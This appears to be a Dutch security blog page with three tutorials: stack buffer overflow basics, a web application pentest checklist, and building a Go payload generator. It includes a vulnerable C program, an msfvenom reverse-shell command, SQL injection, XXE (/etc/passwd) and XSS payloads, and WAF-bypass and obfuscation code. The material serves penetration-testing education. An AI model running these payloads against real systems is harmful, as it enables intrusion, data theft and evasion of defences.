πŸ”

Buffer Overflow Exploitation Basics

Een praktische introductie tot buffer overflow exploitatie. Van theorie tot praktijk: hoe stack-based buffer overflows werken, hoe je ze identificeert, en hoe je een working exploit ontwikkelt.

Buffer overflows behoren tot de meest fundamentele kwetsbaarheden in software security. Als ethical hacker is het essentieel om te begrijpen hoe deze aanvallen werken.

Wat is een Buffer Overflow?

Een buffer overflow ontstaat wanneer een programma meer data naar een buffer schrijft dan deze kan bevatten. Dit kan leiden tot:

  • Programma crashes (Denial of Service)
  • Memory corruption
  • Arbitrary code execution

Stack-based Buffer Overflows

De stack groeit naar beneden en bevat local variables, function parameters en return addresses. Een klassiek voorbeeld in C:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *str) {
    char buffer[64];
    strcpy(buffer, str);  // Geen bounds checking!
    printf("Buffer content: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: %s <string>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

Exploitation Process

Het exploitatie proces bestaat uit verschillende stappen:

1. Vulnerability Discovery

Identificeer functies die geen bounds checking uitvoeren:

  • strcpy(), strcat(), sprintf()
  • gets(), scanf()
  • Custom parsing functions

2. Offset Calculation

Bepaal de exacte offset naar de return address:

# Pattern creation
msf-pattern_create -l 100
# Pattern offset
msf-pattern_offset -q 0x41417141

3. Shellcode Development

Ontwikkel shellcode die een reverse shell opent:

# msfvenom shellcode generation
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f c

Moderne Beschermingen

Moderne systemen implementeren verschillende beschermingen:

  • Stack Canaries: Detecteren stack corruption
  • ASLR: Address Space Layout Randomization
  • NX Bit: Non-executable stack
  • Stack Cookies: Runtime stack protection

Best Practices

Als defender:

  • Gebruik veilige string functies: strncpy(), snprintf()
  • Enable compiler protections: -fstack-protector-all
  • Input validation en bounds checking
  • Code reviews en static analysis

Disclaimer: Deze informatie is bedoeld voor educational doeleinden en geautoriseerde penetratietests. Gebruik deze kennis alleen op systemen waar je explicit toestemming voor hebt.

Web Application Security Testing Checklist

Een uitgebreide checklist voor web applicatie penetratietests, inclusief OWASP Top 10, moderne attack vectors, en praktische testing methodologie.

Web applicatie security testing is een kritiek onderdeel van elke penetratietest. Deze checklist helpt je bij het systematisch testen van web applications.

Pre-Assessment Fase

Reconnaissance

  • Subdomain enumeration: amass, subfinder, assetfinder
  • Directory/file discovery: gobuster, dirsearch, ffuf
  • Technology stack: wappalyzer, whatweb, retire.js
  • SSL/TLS analysis: testssl.sh, sslscan

Mapping & Analysis

# Comprehensive discovery
nmap -sC -sV -p80,443,8080,8443 target.com
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
whatweb -v https://target.com

OWASP Top 10 Testing

1. Injection Attacks

  • SQL Injection: Test alle input fields, parameters, headers
  • NoSQL Injection: MongoDB, CouchDB specific payloads
  • Command Injection: OS command execution via input
  • LDAP/XPath Injection: Directory service attacks
# SQLmap automation
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --dbs
# Manual testing
' OR 1=1 --
' UNION SELECT 1,database(),version() --

2. Broken Authentication

  • Brute force protection testing
  • Session management vulnerabilities
  • Password reset functionality
  • Multi-factor authentication bypass

3. Sensitive Data Exposure

  • HTTPS implementation
  • Sensitive data in client-side code
  • Encryption at rest and in transit
  • Data leakage via error messages

4. XML External Entities (XXE)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

5. Broken Access Control

  • Horizontal privilege escalation
  • Vertical privilege escalation
  • IDOR (Insecure Direct Object References)
  • Missing authorization checks

Advanced Testing Techniques

Business Logic Testing

  • Race conditions
  • Workflow bypass
  • Price manipulation
  • Account enumeration

Client-Side Security

  • XSS: Reflected, Stored, DOM-based
  • CSRF: Cross-Site Request Forgery
  • Clickjacking: UI redressing attacks
  • WebSocket security

Tools & Automation

# Burp Suite Professional
# Manual testing + active scanning

# OWASP ZAP
zap-baseline.py -t https://target.com

# Nuclei
nuclei -u https://target.com -t nuclei-templates/

# Custom automation
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302

Reporting Best Practices

  • Risk Rating: CVSS 3.1 scoring
  • Proof of Concept: Screenshots + steps to reproduce
  • Business Impact: Real-world impact assessment
  • Remediation: Specific fix recommendations

Pro Tip: Combineer geautomatiseerde tools met manual testing voor de beste coverage. Automated tools missen vaak business logic flaws en complexe attack chains.

Advanced Payload Generation Techniques

Hoe ik een geavanceerde payload generator bouwde in Go voor geautomatiseerde penetratietests en fuzzing, inclusief evasion techniques en encoding methods.

Tijdens penetratietests heb ik vaak de behoefte aan custom payloads die specifieke defensive measures omzeilen. Hier deel ik mijn ervaring met het bouwen van een advanced payload generator.

Why Build Custom Tools?

Hoewel er vele payload generators bestaan, hebben ze vaak beperkingen:

  • Beperkte encoding options
  • Geen context-aware generation
  • Signature-based detection
  • Gebrek aan customization

Tool Architecture

Mijn payload generator is gebouwd in Go met een modular design:

package main

import (
    "crypto/rand"
    "encoding/base64"
    "fmt"
    "strings"
)

type PayloadGenerator struct {
    Templates   map[string]string
    Encoders    map[string]func(string) string
    Evasions    []func(string) string
}

func NewGenerator() *PayloadGenerator {
    return &PayloadGenerator{
        Templates: make(map[string]string),
        Encoders:  make(map[string]func(string) string),
        Evasions:  make([]func(string) string, 0),
    }
}

Evasion Techniques

1. String Obfuscation

func (pg *PayloadGenerator) ObfuscateString(input string) string {
    // Case variation
    result := strings.ToLower(input)

    // Character substitution
    replacements := map[string]string{
        "a": "@",
        "e": "3",
        "i": "1",
        "o": "0",
        "s": "$",
    }

    for old, new := range replacements {
        result = strings.ReplaceAll(result, old, new)
    }

    return result
}

2. Encoding Chains

Meerdere encoding layers om detection te omzeilen:

  • Base64 β†’ URL encode β†’ Hex encode
  • ROT13 β†’ Base32 β†’ Unicode escape
  • Custom XOR encryption

3. Polymorphic Generation

func (pg *PayloadGenerator) PolymorphicXSS() string {
    templates := []string{
        "<script>alert(%s)</script>",
        "<img src=x onerror=alert(%s)>",
        "<svg onload=alert(%s)></svg>",
        "javascript:alert(%s)",
    }

    // Random template selection
    template := templates[rand.Intn(len(templates))]

    // Random payload content
    payloads := []string{"1", "document.domain", "'XSS'"}
    payload := payloads[rand.Intn(len(payloads))]

    return fmt.Sprintf(template, payload)
}

Context-Aware Generation

De generator analyseert de target context en past payloads aan:

SQL Injection Context Detection

func (pg *PayloadGenerator) SQLPayload(context string) string {
    switch context {
    case "numeric":
        return "1 OR 1=1"
    case "string":
        return "' OR '1'='1"
    case "search":
        return "') OR 1=1--"
    default:
        return "' OR 1=1 --"
    }
}

Advanced Features

1. Fuzzing Integration

Automatische payload generatie voor fuzzing frameworks:

  • FFuf wordlist generation
  • Burp Intruder payloads
  • Custom mutation algorithms

2. WAF Bypass Techniques

  • Comment insertion: UN/**/ION SE/**/LECT
  • Case variation: UnIoN sElEcT
  • Whitespace manipulation: Tabs, newlines, form feeds
  • Encoding variations: Double encoding, mixed case

3. Payload Validation

Ingebouwde validatie om false positives te verminderen:

func (pg *PayloadGenerator) ValidatePayload(payload, response string) bool {
    // Check for common success indicators
    successPatterns := []string{
        "mysql_num_rows",
        "ORA-00",
        "Microsoft OLE DB",
        "PostgreSQL query failed",
    }

    for _, pattern := range successPatterns {
        if strings.Contains(response, pattern) {
            return true
        }
    }

    return false
}

Usage Examples

# Basic usage
./payload-gen -type sql -context string -encode base64

# Advanced fuzzing
./payload-gen -type xss -polymorphic -count 100 -output payloads.txt

# WAF bypass mode
./payload-gen -type sqli -waf-bypass -target mysql

Performance Optimizations

  • Concurrent generation: Goroutines voor bulk payload creation
  • Memory efficiency: Streaming output voor large datasets
  • Caching: Template caching voor snelhere generatie

Integration with Testing Workflow

De tool integreert naadloos in mijn testing workflow:

  1. Reconnaissance: Target analysis voor context detection
  2. Payload Generation: Context-aware payloads
  3. Testing: Automated injection via API
  4. Validation: Response analysis en filtering
  5. Reporting: Successful payload documentation

Important: Custom tools moeten regelmatig geΓΌpdatet worden om nieuwe defensive measures bij te houden. Investeer tijd in het onderhouden van je toolset.